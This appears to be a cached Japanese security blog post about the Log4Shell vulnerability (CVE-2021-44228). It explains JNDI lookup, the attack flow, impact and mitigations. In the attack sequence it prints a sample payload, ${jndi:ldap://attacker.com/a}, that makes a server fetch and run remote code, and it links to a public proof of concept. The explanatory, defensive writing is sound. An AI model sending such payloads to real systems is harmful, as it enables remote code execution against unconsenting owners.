This is a cache of https://milestone-of-se.nesuke.com/sv-advanced/sv-security/cve-2021-44228-log4shell-logjam/. It is a snapshot of the page at 2021-12-15T18:31:42.083+0000.
【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について | SEの道標
サーバセキュリティ

【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について

JNDI とは

Java Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。

Log4j と JNDI lookup

Apache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。

CVE-2021-44228 の攻撃シーケンスの例

  1. 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。
  2. 脆弱性のあるサーバの Java App はその通信を処理した結果をログに書き込みます。
  3. JNDI lookup という機能がログ内の文字列を変数化するために JNDI 経由で ldap://attacker.com/a へ LDAP query を送信します。
  4. 悪意ある LDAP サーバは、悪意ある Java Class ファイルの URL を応答します。
  5. Log4j は JNDI からの LDAP 応答にある URL を使って悪意ある Java Class ファイルをダウンロードします。
  6. Log4j は悪意ある Java Class をメモリ内に読み込み実行します。

ここでは例として Web + AP (Java) を同一サーバで考えていますが、別サーバのパターンもあり得ます。その場合は、外部公開されていない AP サーバがインターネットへ接続しに行きます。

影響範囲

攻撃コード (PoC) が公開されている。早めの対処が必要。

GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j 远程代码执行
Apache Log4j 远程代码执行. Contribute to tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce development by creating an account on GitHub.

NW 機器であっても Log4j のライブラリを使っている可能性があるため、注意が必要。cisco も 2021/12/12 時点で調査中というステータス。

シスコ製品に影響を与えるApache Log4jライブラリの脆弱性:2021年12月
シスコ製品に影響を与えるApache Log4jライブラリの脆弱性:2021年12月

対策、回避策

jpcert にある通り、バージョンアップや lookup 機能を無効化する。

Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起

個人的な考察

Log4j は非常に広範に利用されているため、今回の脆弱性も広範にわたると思われますが、もっと厄介なのは、どの製品で使われているのかあまり知られていないことだと思います。

おそらくシステム構築ベンダーも把握できていないため、各メーカーへ問合せが必要と思いますが、メーカーも開発者へのヒアリングなど調査に時間がかかるかもしれません。(cisco も調査中)

とりあえず、jpcert に記載のある対策、回避策は実施すべきだが、すぐに対処できないという場合は、

インターネットからのリクエストを受ける Web+Java アプリサーバにおいては、Java の動作するサーバからインターネットへの TCP/UDP 通信を Firewall 等できちんと拒否する

という基本的なセキュリティ設計をしていれば、ある程度の暫定処置にはなると思われる。(サーバからインターネットへの通信は必要十分の宛先に絞ること。全許可にしているやつ、いねーよなー!?)

ただし、攻撃パターンはこれだけとは限らない。色々な可能性が考えられるため、『インターネット公開してないからいいや』等と考えてはならない。

参考文献

Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起
Digging deeper into Log4Shell - 0Day RCE exploit found in Log4j
CVE-2021-44228 is a Remote Code Execution vulnerability in the Apache Log4j library being actively exploited. We provide our observations into the exploit and a...
Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec
Given how ubiquitous log4j is, the impact of this vulnerability is quite severe. Learn how to patch it, why it's bad, and more in this post.

nesukeの推薦図書

NHK番組「クローズアップ現代」で仮想通貨の不正流出ルートを追跡したホワイトハッカーCheena氏のデビュー作。
【想定する読者層】・セキュリティの初学者・ハッカーにあこがれている人・CTFに興味がある人、または参加している人・WindowsとLinuxの混在環境を構築したい人・コンピュータ愛好家・Linux初心者
Windows(ウィンドウズ)、Linux(リナックス)に始まり、現在主流となっているCloud(クラウド)、Phishing(フィッシング)、そして禁断となっている(マルウェア)に至るまで、具体的な最新情報をそれぞれ選りすぐり解説しています。

コメント

タイトルとURLをコピーしました